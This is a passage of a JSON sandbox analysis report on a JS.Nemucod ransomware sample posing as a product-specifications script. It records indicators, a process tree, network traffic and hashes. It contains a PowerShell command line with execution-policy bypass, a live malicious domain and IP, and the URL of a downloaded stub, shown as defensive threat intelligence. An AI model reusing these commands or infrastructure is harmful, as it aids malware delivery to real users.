\"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -ep bypass -file \"C:\\Temp\\VBBT5YNK.ps1\"\" - (UID: 00000000-00005240)\n \"powershell.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" - (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"$5b","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"WScript.exe\" connects to 70.32.23.109:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"aspnet_compiler.exe\" set thread context in remote process \"%PROGRAMFILES%\\Microsoft Office\\Office14\\ONENOTEM.EXE\" (PID: 1990)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5c","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"leisureconnecting.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"System Security","name":"Able to execute commands through Windows command interpreter (ASP)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":5,"id":"string-847","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"-nop -ep bypass -file \"C:\\\\Temp\\\\VBBT5YNK.ps1\"\" (UID: 00000000-00006896)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$5e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"incidents":[{"name":"Persistence","details_count":2,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"intel_graph":{"map":{"Domain:leisureconnecting.com":{"type":"Domain","value":"leisureconnecting.com"},"File:1390d6a67c48898fb4b29eac25191496f22ceafa41cd4c5faa3b30a489dc37a4":{"type":"File","value":"1390d6a67c48898fb4b29eac25191496f22ceafa41cd4c5faa3b30a489dc37a4"},"File:20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea":{"type":"File","value":"20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea"},"File:6d3d87a8b51ae8defb03bab22dcb230ec14fb6428ba83939e92a7607dfb11997":{"type":"File","value":"6d3d87a8b51ae8defb03bab22dcb230ec14fb6428ba83939e92a7607dfb11997"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0":{"type":"File","value":"c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0"},"Ip:70.32.23.109":{"type":"Ip","value":"70.32.23.109"},"Url:/build/secured_stub.ps1":{"type":"Url","value":"/build/secured_stub.ps1"}},"chains":[{"id":"sandbox_network","root":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","edges":[{"edge_kind":"contacted_ip","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"Ip:70.32.23.109"},{"edge_kind":"contacted_domain","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"Domain:leisureconnecting.com"},{"edge_kind":"resolves_to","from_key":"Domain:leisureconnecting.com","to_key":"Ip:70.32.23.109"},{"edge_kind":"contacted_url","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"Url:/build/secured_stub.ps1"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","edges":[{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea"},{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea"},{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:1390d6a67c48898fb4b29eac25191496f22ceafa41cd4c5faa3b30a489dc37a4"},{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:6d3d87a8b51ae8defb03bab22dcb230ec14fb6428ba83939e92a7607dfb11997"},{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","to_key":"File:20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":34,"spawned_processes_count":34,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":34,"imported_dlls_count":120,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":18,"files_deleted_count":0,"registry_keys_created_count":33,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":33,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["nemucod","ransomware","malicious","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6aeb06ee37a6f7ecfd022f4a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"JS.Nemucod","contacted_countries":["USA"],"submit_name":"LOI-ProductSpecifications.js","analysis_start_time":"2026-11-04T10:20:31+00:00","indicators_count":{"informative":154,"suspicious":33,"malicious":9},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"70.32.23.109","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"dns_resolutions":[{"domain":"leisureconnecting.com","address":"70.32.23.109","ttl":3661,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"http_requests":[{"host":"leisureconnecting.com","host_ip":"70.32.23.109:443","url":"/build/secured_stub.ps1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /build/secured_stub.ps1 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\nHost: leisureconnecting.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}],"processes":[{"pid":5240,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\LOI-ProductSpecifications.js\"","sha256":"40d9518bf166d1d94b4d60dfe40efb06d2dd92e1ca6d9ab1a4d2b8ccc49da532","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00005240","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVR4Xs2Siw7DIAhF/XQ/rX+25cYxkV58FbOdxLRFhQNbSoqc8yt66fxDcCGSvxBYkjghcF3XvMQJATAtcUoATEn0BOT3nFn6jq3RxRMo8WSi9290KbnM5hd95gYTkFjOia5CLS5TwHvNUlkS4J1b2uJ4l4WYPb0h0O/eK+5JbAn4+N2HCtjOvQnYfEDn0+cpnsAdyVsn0Gx3WBIAJXbvnk2hvcnZFAC1a/aclVgWAOP/wrzElgCImsS2AIiYxCMB8HQSQQK8qH0yiW0B7I0WcmiJMAEvbju1EiECJdbkaNDFC8ETYIn1sxXge59gE6P4Ary4LaTPsuI6TmECAHFc7C2cQQ75xrvNA7YEgD07wt4XtgWi+H8B+9ueWLbuT3kDb24C8Zv/GpsAAAAASUVORK5CYII="},{"pid":6896,"ppid":5240,"name":"powershell.exe","command_line":"-nop -ep bypass -file \"C:\\Temp\\VBBT5YNK.ps1\"","sha256":"9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005240","uid":"00000000-00006896"},{"pid":8764,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00008764"},{"pid":6900,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00006900"},{"pid":3588,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00003588"},{"pid":8428,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00008428"},{"pid":3400,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00003400"},{"pid":7660,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007660"},{"pid":3508,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00003508"},{"pid":1636,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00001636"},{"pid":6380,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00006380"},{"pid":7316,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007316"},{"pid":5052,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00005052"},{"pid":3836,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00003836"},{"pid":4752,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00004752"},{"pid":7568,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007568"},{"pid":9032,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00009032"},{"pid":7392,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007392"},{"pid":7828,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007828"},{"pid":6276,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00006276"},{"pid":9204,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00009204"},{"pid":1372,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00001372"},{"pid":8656,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00008656"},{"pid":8796,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00008796"},{"pid":3056,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00003056"},{"pid":6516,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00006516"},{"pid":9020,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00009020"},{"pid":4500,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00004500"},{"pid":1516,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00001516"},{"pid":8372,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00008372"},{"pid":6964,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00006964"},{"pid":7588,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007588"},{"pid":7252,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00007252"},{"pid":9080,"ppid":6896,"name":"aspnet_compiler.exe","command_line":"","sha256":"99a2c778c9a6486639d0aff1a7d2d494c2b0dc4c7913ebcb7bfea50a2f1d0b09","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00006896","uid":"00000000-00009080"}],"all_imported_dlls":["sechost.dll","sppc.dll","ucrtbase_clr0400.dll","msasn1.dll","msisip.dll","mlang.dll","virtdisk.dll","atl.dll","kernel32.dll","bcrypt.dll","crypt32.dll","cryptbase.dll","WinTypes.dll","mscoreei.dll","vcruntime140_clr0400.dll","wow64.dll","ntdll.dll","combase.dll","shell32.dll","nsi.dll","dnsapi.dll","slc.dll","dhcpcsvc6.dll","iertutil.dll","wldp.dll","edputil.dll","OneCoreCommonProxyStub.dll","psapi.dll","System.Configuration.Install.ni.dll","msxml3.dll","msctf.dll","BCP47Langs.dll","netutils.dll","srvcli.dll","imm32.dll","winnsi.dll","System.Drawing.ni.dll","pwrshsip.dll","gdi32full.dll","clbcatq.dll","ntasn1.dll","dpapi.dll","System.Transactions.ni.dll","vcruntime140_1.dll","userenv.dll","urlmon.dll","System.Transactions.dll","fltLib.dll","rsaenh.dll","IPHLPAPI.DLL","FWPUCLNT.DLL","clrjit.dll","System.Windows.Forms.ni.dll","VxSSL64.dll","0t1h4rxE.dll","mswsock.dll","AppxSip.dll","System.Management.ni.dll","KernelBase.dll","msvcp140.dll","System.ServiceProcess.ni.dll","oleaut32.dll","version.dll","bcryptprimitives.dll","rasadhlp.dll","cfgmgr32.dll","Windows.StateRepositoryPS.dll","SHCore.dll","amsi.dll","scrrun.dll","System.DirectoryServices.ni.dll","wshext.dll","mskeyprotect.dll","System.Core.ni.dll","System.Data.dll","ws2_32.dll","uxtheme.dll","ncrypt.dll","mpr.dll","mscoree.dll","clr.dll","rpcrt4.dll","sxs.dll","profapi.dll","windows.storage.dll","gpapi.dll","dhcpcsvc.dll","wintrust.dll","sspicli.dll","winhttp.dll","System.Data.ni.dll","System.Configuration.ni.dll","msvcrt.dll","win32u.dll","msvcp_win.dll","gdi32.dll","propsys.dll","mscorlib.ni.dll","ole32.dll","System.ni.dll","advapi32.dll","vcruntime140.dll","scrobj.dll","OnDemandConnRouteHelper.dll","AppResolver.dll","OneCoreUAPCommonProxyStub.dll","wow64win.dll","user32.dll","shlwapi.dll","wininet.dll","OpcServices.dll","kernel.appcore.dll","jscript.dll","ucrtbase.dll","cryptsp.dll","ncryptsslp.dll","System.Xml.ni.dll","secur32.dll","wow64cpu.dll","schannel.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"VBBT5YNK.ps1","sha256":"20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"secured_stub_1_.ps1","sha256":"20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"__PSScriptPolicyTest_isqlr1hy.lrf.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"ModuleAnalysisCache","sha256":"1390d6a67c48898fb4b29eac25191496f22ceafa41cd4c5faa3b30a489dc37a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"StartupProfileData-NonInteractive","sha256":"6d3d87a8b51ae8defb03bab22dcb230ec14fb6428ba83939e92a7607dfb11997","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"__PSScriptPolicyTest_eaj1opgv.41v.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"name":"urlref_httpsleisureconnecting.combuildsecured_stub.ps1","sha256":"20b1323117ce59ac21548359d59195e11ac3ca8d2e58a7c96db2c5730043c9ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\27S7E40K\\secured_stub[1].ps1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"C:\\Temp\\VBBT5YNK.ps1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_isqlr1hy.lrf.ps1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_eaj1opgv.41v.psm1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sou